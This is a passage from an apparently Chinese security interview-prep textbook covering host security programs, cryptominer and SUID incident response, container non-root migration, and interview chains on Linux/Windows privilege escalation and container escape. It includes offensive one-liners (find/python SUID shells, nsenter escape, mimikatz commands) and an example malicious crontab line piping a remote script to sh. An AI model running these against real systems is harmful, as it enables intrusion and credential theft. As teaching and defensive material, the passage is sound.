     - 镜像扫描 + 签名 + 准入校验
     - 依赖扫描(SCA)+ SBOM
     - 构建环境隔离(CI 流水线权限最小化)

【阶段二:检测(一定会被攻破,所以要能发现)】

  ① 主机层
     - HIDS/EDR:Wazuh / Falco / 商业 EDR
     - 文件完整性监控(AIDE)
     - 行为检测:进程、文件、网络、命令

  ② 日志层
     - 集中日志(ELK / Loki / Splunk)
     - 关键数据源:
         Linux: auditd、syslog、bash history(外发)、SSH 日志
         Windows: 安全日志(4624/4688/4720/4732/1102...)、
                  Sysmon、PowerShell 4104
         K8s: 审计日志、容器日志、Falco
     - ★ 日志必须实时外发(本机日志不可信)

  ③ 网络层
     - NIDS(Suricata / Zeek)
     - 全流量或关键区域流量采集
     - 检测 C2 外连、横向扫描、异常协议

  ④ SIEM / SOAR
     - 关联分析(单条日志没意义,要关联)
     - 场景化规则:
         ★ 一条规则示例:
           "同一账号 5 分钟内在 10 台机器上登录" → 横向移动告警
           "Web 进程(nginx/tomcat)派生了 bash" → webshell 告警
           "非运维时间修改了 /etc/crontab" → 持久化告警
           "Windows 安全日志被清空(1102)" → 最高优先级
     - 自动化编排(SOAR):高危告警自动隔离主机

  ⑤ 威胁情报
     - IOC 比对(IP、域名、文件哈希)
     - 攻击团伙 TTP(ATT&CK 技术点覆盖度自检)

【阶段三:响应(发现了要能快速处理)】

  ① 应急预案(Playbook)
     - 按场景预写:勒索病毒、挖矿木马、webshell、
       账号异常、数据外泄、容器逃逸
     - 每个 Playbook 包含:判断标准、处置步骤、升级条件、负责人

  ② 遏制能力(★ 要提前准备好,出事再想来不及)
     - 一键隔离主机(网络层 ACL / EDR 隔离)
     - 一键禁用账号
     - 一键吊销证书/Token
     - 一键切换(把被攻陷的机器从负载均衡摘掉)

  ③ 取证能力
     - 内存镜像工具(LiME / DumpIt)
     - 磁盘镜像工具
     - 离线分析环境(不要在被攻陷的机器上分析)
     - ★ 易失性数据优先:内存 → 网络连接 → 进程 → 磁盘

  ④ 团队与演练
     - 明确角色(指挥/分析/处置/沟通)
     - 定期演练(桌面推演 + 实战红蓝对抗)
     - 7×24 值班或 MSSP 托管

【阶段四:恢复(打完要能站起来)】

  ① 备份(3-2-1 原则)
     - 3 份副本、2 种介质、1 份离线/异地
     - ★ 要能防勒索:不可变备份(WORM / 对象存储的版本锁)
     - 定期演练恢复(没验证过的备份 = 没有备份)

  ② 重建流程
     - 干净介质重装(不要"清理后继续用")
     - 从入侵前的备份恢复数据
     - 修掉入侵路径的漏洞
     - 全部凭据轮换

  ③ 复盘
     - 时间线还原
     - 根因分析(不要停留在"谁点了这个链接")
     - 改进项跟踪(每一条都要有 owner 和 deadline)

落地的三个务实建议(加分项):

① 【不要追求完美,先解决 80% 的问题】
   SSH 加固 + 补丁 + 日志外发 + 最小权限,
   这四件事做好了能挡住 80% 的攻击。
   别一上来就要上全套零信任 + EDR + SOAR。

② 【先审计后强制】
   SELinux、AppArmor、PSA restricted、AppLocker,
   这些都先跑【审计/警告模式】两周,看有没有误伤业务,
   修完再切强制。硬切很容易搞挂业务,然后被业务方要求关掉。

③ 【用红蓝对抗验证】
   安全建设做得对不对,不是看文档,是看能不能扛住攻击。
   定期请外部团队做红队(或自己组建),
   每次对抗后把"攻击者实际走通的路径"变成新的检测规则。

6.7.3 场景题(5 题)

F21(⭐⭐⭐)服务器上发现一个进程 CPU 100%,怎么判断它是挖矿还是正常业务?

排查思路(不要上来就 kill,先取证):

# ===== 第 1 步:定位进程(30 秒)=====
top -c                    # -c 显示完整命令行
# 或
ps aux --sort=-%cpu | head -20

# 记下 PID

# ===== 第 2 步:看进程详情(关键)=====
# ① 完整命令行(★ 挖矿通常有矿池地址或 --coin 参数)
tr '\0' ' ' < /proc/<PID>/cmdline; echo
#   特征:
#     - 矿池地址:stratum+tcp://xxx.xxx:3333
#     - --coin=monero / -o pool.xxx.com
#     - 进程名伪装成 systemd、kworker、nginx、redis 等

# ② 进程的可执行文件路径
ls -l /proc/<PID>/exe
#   ★ 如果显示 "/path/to/xxx (deleted)" → 木马删了自己,高度可疑
#     正常业务进程不会是 deleted 状态

# ③ 进程的启动时间(和入侵时间对比)
ps -o lstart -p <PID>
stat /proc/<PID>

# ④ 父进程(★ 挖矿通常是 crontab 或 webshell 拉起来的)
ps -o ppid= -p <PID>
pstree -p <PID>
cat /proc/<PPID>/cmdline
#   典型:父进程是 cron / httpd / java(tomcat) / sshd

# ⑤ 进程的工作目录和环境变量
ls -l /proc/<PID>/cwd
tr '\0' '\n' < /proc/<PID>/environ

# ===== 第 3 步:看网络连接(★ 最直接的证据)=====
ss -anp | grep <PID>
# 或(rootkit 可能隐藏,用最原始的)
cat /proc/<PID>/net/tcp
#   挖矿特征:
#     - 连到境外 IP 的 3333 / 4444 / 8080 / 14444 等端口
#     - 多个到同一 IP 的连接(矿池)
#     - 用 stratum+tcp 协议
lsof -p <PID> | grep TCP

# 检查已知的矿池 IP/域名(威胁情报比对)
# 或用 DNS 日志:挖矿进程会频繁解析矿池域名

# ===== 第 4 步:看有没有持久化 =====
crontab -l -u <进程属主>
ls -la /etc/cron.d/ /etc/cron.daily/
# ★ 挖矿 90% 有 crontab 后门(因为要保活)
#   典型:*/5 * * * * curl -s http://xxx/x.sh | sh
cat /etc/crontab | grep -v "^#"

systemctl list-unit-files --type=service | grep enabled
ls -la /etc/systemd/system/ | grep -i "\.service"

# SSH 公钥(★ 必查)
cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys

# ===== 第 5 步:确认是挖矿后的处置 =====
# ① 先别急着 kill!先取证
#    - 保存进程内存:gcore <PID> 或 LiME 抓全内存
#    - 保存恶意文件:cp /proc/<PID>/exe /tmp/malware_sample
#      (即使 exe 显示 deleted,/proc/<PID>/exe 还能 cp 出来)
#    - 保存网络连接:ss -anp > /tmp/netstat_$(date +%s).txt
#    - 保存进程树:pstree -p > /tmp/pstree.txt

# ② 断网(隔离但不断电)
#    在交换机/防火墙上隔离,或者:
iptables -I OUTPUT -p tcp -d <矿池IP> -j DROP

# ③ 清持久化(★ 先清这个,否则 kill 完它还会回来)
crontab -r -u <用户>    或   手动编辑删除恶意行
rm -f /etc/systemd/system/malware.service
# 清 authorized_keys 里的可疑公钥

# ④ 才是 kill
kill -9 <PID>
kill -9 <PPID>

# ⑤ 删文件
rm -f <恶意文件路径>
# ★ 注意:有些挖矿会 chattr +i 保护自己
lsattr <文件>
chattr -i <文件> && rm -f <文件>

# ⑥ 找入口(★ 最重要,否则还会再来)
#    - 看 Web 日志有没有可疑请求(webshell?)
#    - 看 SSH 日志有没有异常登录(弱口令?)
#    - 看应用日志(反序列化?RCE?)
#    - 找 webshell:find /var/www -name "*.jsp" -newermt "2026-08-01"

# ⑦ 加固 + 改密 + 复盘

面试官追问:怎么判断它不是“被 rootkit 隐藏的正常业务”?

交叉验证:
  - 用静态版 busybox 的 ps/top(不受 LD_PRELOAD 影响)
  - 用 sysdig / eBPF 工具(bcc 的 execsnoop)从内核层面看进程
  - 对比 /proc 目录里有多少数字目录 vs ps 输出多少进程
    ls -d /proc/[0-9]* | wc -l
    ps -e | wc -l
    如果 /proc 里的进程数明显更多 → 有隐藏进程

★ 核心原则:不要相信被攻陷机器上的任何命令输出。

F22(⭐⭐⭐)客户的机器疑似被入侵,但客户说“没有异常”,你怎么说服他配合排查?

答题思路:这是一道“技术 + 沟通”题。要给出可量化的证据和低成本的验证方式,而不是说“我觉得你被黑了”。

话术模板:

【第一步:给出客观异常,不带主观判断】

"X 总,我不是说您系统一定被入侵了,
 但我们有几个客观数据想跟您核对一下:

 ① 我们在 X 月 X 日 X 点,监测到您的服务器 YYY
    向境外 IP xxx.xxx.xxx.xxx(地理位置:荷兰)发起了
    持续 3 小时的连接,频率是每分钟 60 次,
    而这个 IP 在威胁情报库里被标记为已知挖矿矿池。

 ② 同一台机器上,有一个名为 'kworker/2:1' 的进程,
    占用 CPU 98%,但它的可执行文件位于 /tmp/.ICE-unix/
    而正常的 kworker 是内核线程,不会有对应的可执行文件。

 ③ 这台机器的 crontab 里有一条:
    */10 * * * * curl -s http://xxx/x.sh | sh
    这条记录不在我们上次(X 月 X 日)做基线检查的清单里。

 这三条单独看都可能有解释,但同时出现,我建议我们查一下。
"
【第二步:降低客户的心理门槛】

"我理解您可能担心:
  ① 影响业务   → 我们可以先只做【只读检查】,不改动任何配置,
                  全程 30 分钟,不需要重启,不需要停服务。
  ② 影响声誉   → 检查结果只对您和我们项目负责人可见,
                  我们不会对外披露。
  ③ 很麻烦     → 您只需要给我一个只读账号 + 堡垒机授权,
                  剩下的我们来做。
"
【第三步:给出分级的处置建议(不要让客户觉得"要花大钱")】

"检查完之后会有三种情况:

  A. 确认是误报     → 我出一份说明报告,解释为什么会有这些现象,
                      顺便给您几条加固建议,不收费。
  B. 发现问题但轻微 → 我给您一个处置清单,您自己的运维就能处理,
                      我们提供远程支持。
  C. 确认被入侵     → 我们再谈应急响应方案,
                      到时候我会给详细的处置步骤和时间预估。

 现在只需要您同意做第一步的只读检查,不需要任何承诺。
"

技术要点(面试官想听的):

★ 要先有【证据】再开口。空口说"你被黑了"没人会理你。
★ 证据要【可量化、可复现】:时间点、IP、命令、进程名
★ 用【异常】而不是【定性】:说"有几条对不上的地方",
   而不是"你中木马了"——后者会触发防御心理
★ 提供【低成本的第一步】:只读检查、30 分钟、不需要停业务
★ 给出【分级的后续】:让客户觉得"最坏也就这样",降低决策成本

补充说明:
   如果客户是监管行业(金融/医疗/政务),可以提合规要求:
   "等保 2.0 三级要求安全事件要在 X 小时内上报,
    我们早发现早处置,对您也好交代。"

F23(⭐⭐⭐⭐)公司有 500 台服务器(Linux 300 + Windows 200),要做主机安全建设,怎么落地?

答题思路:分阶段、有优先级、可执行。不要一上来给一堆工具名。

===== 第一阶段:摸清家底(2~4 周)=====

目标:知道有什么、暴露了什么、现在什么水平

① 资产盘点
   - CMDB 建立/补全:IP、OS、用途、责任人、业务重要级别
   - 用 agent 自动发现(比人工报准)
   - 输出:资产台账 + 责任人确认

② 暴露面扫描
   - 内网端口扫描:哪些机器开了 22/3389/445/3306/6379
   - 公网资产扫描:从外网视角看暴露了什么
   - 输出:暴露面清单(★ 这一步常常能发现"没人认领的机器")

③ 基线现状评估
   - 用脚本批量检查:SSH 配置、密码策略、补丁级别、
     SUID 文件、sudo 配置、开放端口、日志是否外发
   - 或者用 OpenSCAP / Nessus 做合规扫描
   - 输出:现状评分 + 差距清单

★ 这一阶段的产出是三张表,不是一堆工具:
   资产表、暴露面表、基线差距表


===== 第二阶段:堵住最危险的口子(1~2 个月)=====

优先级原则:先堵"最容易被打进来且后果最严重"的

① 【P0 - 立即做】
   - 公网暴露的高危服务下线或加访问控制
     (Redis 未授权、MySQL 3306 对公网、Jenkins 无认证 → 这些必查)
   - SSH/RDP 加固:禁 root 直登、密钥登录、白名单
   - 弱口令清零(★ 扫描 + 强制改密)
   - 关键系统打补丁(内核、网络服务)

② 【P1 - 一个月内】
   - 日志集中:rsyslog/WEF 外发到日志平台
     (Linux: rsyslog;Windows: WEF 订阅 + Winlogbeat)
   - 基线批量加固:用 Ansible/Salt 下发标准配置
   - 关闭无用服务和端口
   - 备份机制检查(有没有?能不能恢复?)

③ 【P2 - 两个月内】
   - 部署 HIDS/EDR(先试点 20 台,再全量)
   - 文件完整性监控(AIDE 或 Wazuh 自带)
   - 特权账号管理(堡垒机 + 录像)


===== 第三阶段:建立检测能力(2~3 个月)=====

① SIEM 建设
   - 数据源接入:主机日志、安全设备、网络设备、应用日志
   - 关联规则(先做 10~20 条高价值规则,别贪多):
     ★ 推荐的第一批规则:
       - 同一账号多地/多机登录(横向移动)
       - 非工作时间的管理员登录
       - Web 进程派生 shell(webshell)
       - Windows 安全日志被清空(1102)
       - 新建账号 + 加入管理员组(4720 + 4732)
       - 异常的 PowerShell 命令行(含 -enc / DownloadString)
       - SUID 文件新增
       - 容器内启动 shell / mount
   - 告警分级:P1 电话、P2 企微、P3 日报

② 应急响应能力
   - 写 Playbook(勒索、挖矿、webshell、账号异常)
   - 准备取证工具箱(离线 ISO + 静态工具 + 内存取证)
   - 明确联系人和升级路径
   - 做一次桌面推演


===== 第四阶段:持续运营(长期)=====

① 常态化
   - 补丁周期(月度高危、季度全量)
   - 基线核查(季度,配置漂移自动修复)
   - 漏洞扫描(月度内网扫描)
   - 账号权限复核(季度,清理离职和 inactive 账号)

② 红蓝对抗
   - 半年一次红队演练
   - 每次演练后:攻击路径 → 检测规则 → 加固项,形成闭环

③ 度量
   - 关键指标(给领导看的):
     - 高危漏洞平均修复时间(MTTR)
     - 告警平均响应时间
     - 基线合规率
     - 暴露面数量趋势
   - 月度/季度安全报告


===== 务实建议(加分)=====

① 不要一次上全套
   500 台机器一步到位上 EDR + SIEM + SOAR,
   大概率是买了不用、用了没人看告警。
   先做"堵口子 + 日志外发",投入小、见效快。

② 先试点再全量
   HIDS 先在非核心业务试点 20 台,跑两周看误报和性能影响,
   再分批推。硬上全量容易出生产事故。

③ 解决"没人认领的机器"
   每次资产盘点都会发现一批没人负责的机器,
   这些往往是安全最差的(没人打补丁、没人管)。
   要么找责任人,要么下线——不能留着。

④ 工具不是目的
   买了 EDR 不等于安全。告警没人看 = 没有。
   要么自己建 SOC 值班,要么买 MSSP 托管服务。

F24(⭐⭐⭐)发现生产服务器上有可疑的 SUID 文件,你怎么处理?

答题思路:不要直接删,先取证、先判断、再处置。

# ===== 第 1 步:先别动它,先取证(30 秒)=====

# ① 完整记录文件信息
FILE=/tmp/suspicious_bin
stat $FILE                    # 大小、时间(atime/mtime/ctime ★ 都要记)
md5sum $FILE; sha256sum $FILE
file $FILE                    # 文件类型(ELF?脚本?)
lsattr $FILE                  # ★ 有没有 chattr +i(攻击者常用来保护)

# ② 保存样本(★ 一定要留证)
cp -a $FILE /root/evidence/$(basename $FILE)_$(date +%s)
# 或者更保险:做成只读 + 算哈希
sha256sum /root/evidence/... > /root/evidence/hash.txt

# ③ 记录进程和网络连接(它可能正在运行)
ps aux | grep $(basename $FILE)
ss -anp | grep $(basename $FILE)
lsof $FILE

# ===== 第 2 步:判断它是什么(5 分钟)=====

# ① 是不是系统自带的?(和基线对比)
dpkg -S $FILE 2>/dev/null        # Debian/Ubuntu:属于哪个包
rpm -qf $FILE 2>/dev/null        # RHEL/CentOS
#   如果不属于任何包 → 高度可疑
#   如果属于某个包但哈希对不上 → 被替换了(dpkg -V <包名> 验证)

# ② 是不是 GTFOBins 上的程序?
#   查 https://gtfobins.github.io
#   如果是 find/vim/python/perl/bash/nmap 等 → 可被利用

# ③ 看它是什么语言写的、有没有字符串线索
strings $FILE | head -50
strings $FILE | grep -iE "http|\.sh|/tmp|/dev/shm|passw|bash -i|/bin/sh"
#   ★ 找矿池地址、C2 域名、反弹 shell 命令

# ④ 上传到沙箱/多引擎扫描(如果有条件)
#   VirusTotal / 微步在线 / Any.run

# ⑤ 看它什么时候出现的、谁创建的
#   ★ ctime 最关键(mtime 可以被 touch 改,ctime 改不了)
stat -c '%n mtime=%y ctime=%z' $FILE
#   然后去审计日志/日志平台找那个时间点前后的操作
ausearch -f $FILE -i
ausearch -ts <可疑时间> -k exec

# ===== 第 3 步:处置(谨慎,别搞挂业务)=====

# ★ 判断它是不是业务需要的
#   先问运维/开发:"这个程序是干嘛的?谁放的?"
#   ★ 不要自己拍脑袋删——可能是某个业务脚本

# 如果是恶意的:
#   ① 先断网隔离(如果它在做坏事)
iptables -I OUTPUT -d <C2_IP> -j DROP

#   ② kill 相关进程
pkill -f $(basename $FILE)

#   ③ 去掉 SUID 位(★ 先去权限再删文件,防止期间被再次执行)
chmod u-s $FILE
#   或者如果文件本身是恶意的,直接删
chattr -i $FILE 2>/dev/null     # 先解锁定
rm -f $FILE

#   ④ 查有没有其他持久化
crontab -l -u <属主>
cat /root/.ssh/authorized_keys
systemctl list-unit-files | grep enabled
# ★ 单一后门很少见,通常是一套

# ===== 第 4 步:溯源(★ 最重要)=====

# 它怎么来的?
#   ① 审计日志
ausearch -f $FILE -i -ts recent
ausearch -sc execve -ts <可疑时间> | grep -i "curl\|wget\|python"

#   ② bash history(但可能被清了)
cat ~/.bash_history

#   ③ Web 日志(如果是通过 webshell 传上来的)
grep -iE "\.jsp|\.php|cmd=|exec=" /var/log/nginx/access.log | tail -50
#   或者找那个时间点上传的文件
find /var/www -type f -newermt "<可疑时间>" 2>/dev/null

#   ④ SSH 日志(弱口令/密钥登录?)
grep "Accepted" /var/log/secure | tail -30
last -20

#   ⑤ 文件创建时间前后,这台机器上还发生了什么
ausearch -ts <可疑时间前1小时> -te <可疑时间后1小时> -i | head -100

# ===== 第 5 步:加固 + 复盘 =====

# ① 建立 SUID 基线(★ 治本)
find / -perm -4000 -type f 2>/dev/null | sort > /root/suid_baseline.txt
sha256sum $(cat /root/suid_baseline.txt) > /root/suid_hash_baseline.txt
#   基线存到【远程/只读介质】(放本机没意义)

# ② 加监控
#   auditd 规则:监控 SUID 位变更
echo "-a always,exit -F arch=b64 -S chmod -S fchmod -S fchmodat -F auid>=1000 -F auid!=-1 -k suid_change" >> /etc/audit/rules.d/suid.rules
#   AIDE 规则:监控 SUID/SGID 文件
echo "/bin    R+a+sha256" >> /etc/aide.conf
augenrules --load

# ③ 定期巡检(crontab + 告警)
cat > /usr/local/bin/check_suid.sh << 'EOF'
#!/bin/bash
BASELINE="/root/suid_baseline.txt"   # 应该放在只读/远程位置
CURRENT=$(find / -perm -4000 -type f 2>/dev/null | sort)
DIFF=$(diff <(echo "$CURRENT") "$BASELINE")
if [ -n "$DIFF" ]; then
    echo "★ SUID 文件发生变化:"
    echo "$DIFF"
    # 发告警(邮件/企微/钉钉)
    echo "$DIFF" | mail -s "[$(hostname)] SUID 变更告警" security@example.com
fi
EOF
chmod +x /usr/local/bin/check_suid.sh
echo "0 */6 * * * root /usr/local/bin/check_suid.sh" > /etc/cron.d/check_suid

面试加分点:

★ 处置顺序不能错:
  取证 → 判断 → 隔离 → 清除 → 溯源 → 加固

  很多人上来就 rm,然后发现没法溯源了。
  正确的顺序是【先留证再动手】。

★ 特别强调 ctime:
  mtime 可以用 touch 改,但 ctime(inode 变更时间)改不了
  (除非攻击者用 debugfs 之类改磁盘,但那很少见)。
  所以 ctime 是判断"这个文件到底什么时候被创建的"的可靠依据。

★ 别只处理这一个文件:
  一个 SUID 后门通常伴随:
    - crontab 保活
    - SSH 公钥
    - 可能有 rootkit 隐藏
    - 可能有其他后门账号
  要全套排查。

F25(⭐⭐⭐⭐)容器里发现业务进程以 root 运行,怎么推动改造?改造步骤是什么?

答题思路:这是“技术 + 项目管理”题。要给出改造路径和降低阻力的办法。

===== 第一步:量化风险,让决策层有感知 =====

不要说"用 root 不安全",要说:

"我们现在有 XX 个容器以 root 运行。
 这些容器里的 root = 宿主机的 root(默认共享 user namespace)。
 只要其中任何一个容器存在 RCE 漏洞 + 逃逸条件,
 攻击者就能拿到宿主机 root,
 进而控制这台节点上的【全部 XX 个容器】。

 我们做过一次内部验证:
   在一个以 root 运行的测试容器里,我们用 X 分钟完成了逃逸,
   拿到了节点的 root 权限。
   (有条件的真的做一次 PoC,比讲道理有用得多)

 参考行业事件:
   - 2019 年 runc 漏洞(CVE-2019-5736):root 容器可覆盖宿主机 runc
   - 2021 年某云厂商容器逃逸事件...
"
===== 第二步:分类分级,不要一刀切 =====

把容器分成三类,分别处理:

【A 类:改造成本低(先做)】
  特征:无状态业务、不写本地文件、不绑 80/443 以下的端口
  改造:Dockerfile 加 USER,改完测试即可
  预计:每个容器 1~2 小时

【B 类:需要改一点(中期做)】
  特征:需要写日志/缓存到本地、需要绑 80/443
  改造:
    - 写目录 → 改用 emptyDir 挂载 + fsGroup 授权
    - 绑 80/443 → 加 CAP_NET_BIND_SERVICE(比用 root 安全得多)
                  或改成监听 8080,由 Service/Ingress 做端口映射(★ 推荐)
  预计:每个容器半天到一天

【C 类:改造成本高(最后做/特殊处理)】
  特征:需要改系统配置、需要 mount、老系统改不动
  处理:
    - 用 User Namespace Remapping:容器里的 root 映射到宿主机的普通用户
      (Docker:/etc/docker/daemon.json 配 userns-remap)
      ★ 这是"不改应用也能降权"的方案
    - 或者隔离到独立节点池(blast radius 最小化)
    - 或者接受风险,但要加更强的运行时检测(Falco)

★ 关键:让业务方看到"不是所有容器都要大改",降低阻力
===== 第三步:改造的技术步骤(给开发的详细指引)=====

① 【Dockerfile 改造】
   # 用 distroless 的 nonroot(uid 65532)
   FROM gcr.io/distroless/java21-debian12:nonroot
   # 或者自建用户
   # RUN groupadd -g 10001 app && useradd -u 10001 -g app -m app
   # USER 10001:10001
   USER nonroot:nonroot

   # 文件属主要改对
   COPY --chown=nonroot:nonroot app.jar /app/app.jar

② 【K8s 配置改造】
   securityContext:
     runAsNonRoot: true        # ★ 强制非 root,root 镜像直接启动失败
     runAsUser: 65532
     fsGroup: 65532            # ★ 挂载卷的文件属主
     seccompProfile:
       type: RuntimeDefault

③ 【端口问题】
   # 方案 A(推荐):改监听 8080,Service 做映射
   #   containerPort: 8080
   #   Service: port 80 → targetPort 8080
   # 方案 B:只加一个 capability
   securityContext:
     capabilities:
       drop: [ALL]
       add: [NET_BIND_SERVICE]    # ★ 只加这一个

④ 【写文件问题】
   # 根文件系统只读 + emptyDir 提供可写目录
   securityContext:
     readOnlyRootFilesystem: true
   volumeMounts:
     - name: tmp
       mountPath: /tmp
   volumes:
     - name: tmp
       emptyDir:
         medium: Memory
         sizeLimit: 64Mi

⑤ 【日志问题】
   # 不要写文件,直接输出到 stdout/stderr
   # K8s 会自动采集
   # Spring Boot: logging.file.name=(留空)
   #             或用 logback 的 ConsoleAppender
===== 第四步:用策略引擎强制(防止回退)=====

改造完了要防止新业务又用 root:

① Pod Security Admission(渐进式)
   # 第一步:先 warn(不阻断,只提示)
   kubectl label ns production \
       pod-security.kubernetes.io/warn=restricted
   # 跑两周,收集违规清单

   # 第二步:改完后再 enforce
   kubectl label ns production \
       pod-security.kubernetes.io/enforce=restricted \
       --overwrite

② Kyverno 策略(更灵活)
   - 禁止 runAsNonRoot=false
   - 禁止 privileged
   - 要求 readOnlyRootFilesystem=true
   - 要求 drop ALL capabilities

③ CI 检查(左移)
   - Dockerfile lint(hadolint:DL3002 = 不要用 root)
   - 镜像扫描时检查 USER 指令
   - K8s manifest 检查(kube-score / conftest / checkov)
===== 第五步:度量和汇报 =====

给领导的指标:
   - 以 root 运行的容器数:XXX → XX(下降 XX%)
   - restricted 合规率:XX%
   - 平均改造耗时:X 人天/容器

★ 汇报要点:
   "我们把以 root 运行的容器从 XX 个降到了 X 个,
    剩下的 X 个是老系统,已经用 User Namespace Remapping 做了隔离,
    风险已降到可接受水平。"

面试官追问:如果业务方说“改不了,会影响业务”怎么办?

三层应对:

① 【先验证是不是真的改不了】
   很多"改不了"其实是没试过。
   我可以提供改造方案 + 陪他们做一次 POC,
   用测试结果说话。

② 【提供替代方案】
   - User Namespace Remapping(不改应用就能降权)
   - 只加最小 capability(比 root 好得多)
   - 独立节点池隔离(限制爆炸半径)

③ 【风险接受流程】
   如果真的改不了,走【风险接受】:
   - 书面记录:为什么改不了、风险是什么、补偿措施是什么
   - 责任人签字(业务负责人 + 安全负责人)
   - 定期复核(每季度看一次还能不能改)
   - 加强这个容器的监控(Falco 规则 + 更频繁的检查)

★ 认知:
   安全不是"必须 100% 合规",是"把风险控制在可接受范围内,
   并且让决策者【知道】风险是什么、为什么接受"。
   强行推不动的事情,走书面的风险接受流程,
   比偷偷放过或者硬刚都要好。

6.7.4 追问链(3 条)

用法:面试官会顺着一条线不断追问,看你的知识深度。 下面给出完整的追问路径和应对要点。

追问链 1:Linux 提权(9 问)

Q1: 拿到一个普通用户的 shell,你第一步做什么?
A : id → whoami → sudo -l → uname -a → 看自己在哪些组
    (sudo -l 是最快的,10 秒出结果)

Q2: 如果 sudo -l 显示你能 NOPASSWD 跑 /usr/bin/find 会怎样?
A : sudo find . -exec /bin/sh -p \; -quit
    (注意 find 的 -exec 会以 sudo 的身份执行,且要加 -p 或不加都行,
      因为 sudo 直接把 euid 设成 0 且 shell 从 root 启动不会降权)

Q3: 为什么要 -p?
A : shell 的降权保护。ruid≠euid 时默认把 euid 降回 ruid,-p 阻止它。

Q4: 如果 sudo 什么都没有呢?
A : 查 SUID(find / -perm -4000)、
    查 Capabilities(getcap -r /)、
    查 docker 组、查 cron、查可写文件

Q5: 找到一个 SUID 的 python,怎么提权?
A : python -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
    (Python 不自动降权,但仍建议 -p)

Q6: 什么是 Capabilities?比 SUID 好在哪?
A : 把 root 拆成 40+ 个小权限,按需授予。
    SUID 给全部,Capabilities 给最小。但 SYS_ADMIN 等几个依然≈root。

Q7: find 有 cap_dac_read_search 会怎样?
A : 能读任意文件 → find / -readable 2>/dev/null
    或者用 shocker 类手法读 /etc/shadow

Q8: 如果这些都查不到呢?
A : 内核漏洞兜底:uname -a 看版本,
    linux-exploit-suggester 比对,
    找对应的 Dirty COW / Dirty Pipe / PwnKit

Q9: 生产环境敢跑内核 exploit 吗?
A : 慎重。竞态类(Dirty COW)可能把机器搞崩。
    授权测试里要提前说明风险,优先选稳定的 exploit。
    如果客户不允许,就在测试环境验证后给结论。

追问链 2:Windows 提权与凭据(9 问)

Q1: Windows 和 Linux 的权限模型最大区别是什么?
A : Linux 是"钥匙"(rwx/UID),Windows 是"工牌+门禁"(SID+Token+ACL)。
    Windows 的令牌可以被复制、冒充、偷走,这是 Linux 没有的攻击面。

Q2: 什么是令牌?有哪两种?
A : 令牌是进程的身份凭证。两种:主令牌(登录时创建)
    和模拟令牌(服务代表客户端操作时临时使用)。

Q3: 那你听过 Potato 吗?
A : 听过。利用 Windows 的模拟机制:骗 SYSTEM 进程来连你的命名管道,
    然后 ImpersonateNamedPipeClient 借它的令牌。

Q4: 需要什么前提条件?
A : SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege
    (Web 服务账号默认就有)

Q5: 各种 Potato 有什么区别?
A : 区别在"怎么骗 SYSTEM 来连你":
    Hot Potato(NBNS 欺骗 + WPAD)、Rotten Potato(COM RPC)、
    Juicy Potato(可指定 CLSID)、PrintSpoofer(打印机通知 Bug)、
    SweetPotato(自动选)、GodPotato(最新)

Q6: 那怎么防?
A : 坦白说很难完全防住——这是架构问题。
    缓解:Web 服务用低特权账号、上 EDR、
    Sysmon 监控、及时打补丁。
    根本:别让攻击者拿到代码执行点。

Q7: 拿到 SYSTEM 后你能干什么?
A : dump LSASS 拿凭据(mimikatz sekurlsa::logonpasswords)、
    建后门账号、做持久化(服务/计划任务/WMI)、
    dump SAM 拿本地账号 Hash。

Q8: 那怎么防凭据窃取?
A : LAPS(本地管理员密码随机化,★ 性价比最高)、
    关 WDigest、开 LSA Protection(RunAsPPL)、
    Credential Guard、域管不登普通机器、
    Sysmon Event 10 监控 lsass 访问。

Q9: 如果有 100 台机器,本地管理员密码都一样,有什么问题?
A : dump 一台 = 拿到全部 100 台。这就是 LAPS 要解决的问题——
    把"一台沦陷 = 全网沦陷"变回"一台沦陷 = 一台沦陷"。

追问链 3:容器逃逸(8 问)

Q1: 容器和虚拟机的本质区别?
A : 容器共享宿主机内核,靠 Namespace 隔离视野;
    虚拟机有独立内核,靠 Hypervisor 隔离。
    所以容器逃逸难度远低于虚拟机。

Q2: 容器里的 root 是宿主机的 root 吗?
A : 是同一个 UID 0。之所以干不了宿主机的事,
    只是因为被 Namespace 蒙眼、被 Capabilities 捆手。
    (除非开了 User Namespace Remapping)

Q3: 那怎么逃出去?
A : 五大姿势:特权容器、docker.sock、危险 Capability、
    危险 hostPath、内核漏洞。

Q4: 特权容器怎么逃?
A : fdisk -l 看到宿主机磁盘 → mount → chroot
    或者更短:nsenter --target 1 --all -- bash

Q5: 只加了 CAP_SYS_ADMIN(不是特权容器)呢?
A : 依然危险。可以用 cgroup release_agent 逃逸(cgroup v1)。
    CAP_SYS_ADMIN 基本等于特权容器。

Q6: 挂载了 /proc 呢?
A : 可以改 /proc/sys/kernel/core_pattern,
    让进程崩溃时内核以 root(宿主机 namespace)执行你的脚本。

Q7: 什么都没挂,只是 hostPID: true 呢?
A : 依然能通过 /proc/1/root/ 读写宿主机的全部文件
    (1 号进程的 root 就是宿主机的 /)。
    这条很隐蔽,很多扫描不检查 hostPID。

Q8: 那到底怎么防?
A : 五层:
    ① 不给特权、不加危险 capability、不挂危险 hostPath、不用 hostPID
    ② PSA restricted(或 Kyverno Enforce)
    ③ 只读根 + 非 root + drop ALL + seccomp
    ④ Falco 运行时检测
    ⑤ 多租户/不可信代码场景上 gVisor 或 Kata

6.8 第六章小结

6.8.1 核心认知(五条)

【认知一】提权不是"攻破系统",是"利用系统自己的合法功能"

  SUID、sudo、Capabilities、cron、LD_PRELOAD、模拟令牌——
  这些全是【设计出来的功能】,不是 bug。
  攻击者只是找到了"功能被滥用"的路径。

  ★ 所以提权防御的本质是:
    不是"让系统没有提权手段",而是"确保这些手段只被正当使用"。
    这就是为什么【审计】(auditd)和【最小权限】如此重要。


【认知二】主机是必经之地,主机安全决定"损失上限"

  不管攻击者从 Web、钓鱼、供应链、还是物理接触进来,
  最终都要落到某台主机的某个用户上。

  拿到 shell ≠ 灾难,拿到 root 才是。
  提权是把"麻烦"变成"灾难"的那一步。

  ★ 所以:宁可在"防 RCE"上投入更多,
    也要把"提权检测和限制"做足——这是最后一道防线。


【认知三】持久化防不住,只能靠"检测 + 重建"

  持久化的手段太多了(六层、几十种),而且很多看起来完全正常
  (authorized_keys、profile.d 的脚本、WMI 事件订阅)。

  ★ 现实的做法不是"防止持久化",而是:
    ① 让日志删不掉(实时外发 + WORM)→ 出事能查
    ② 定期完整性检查 → 能发现
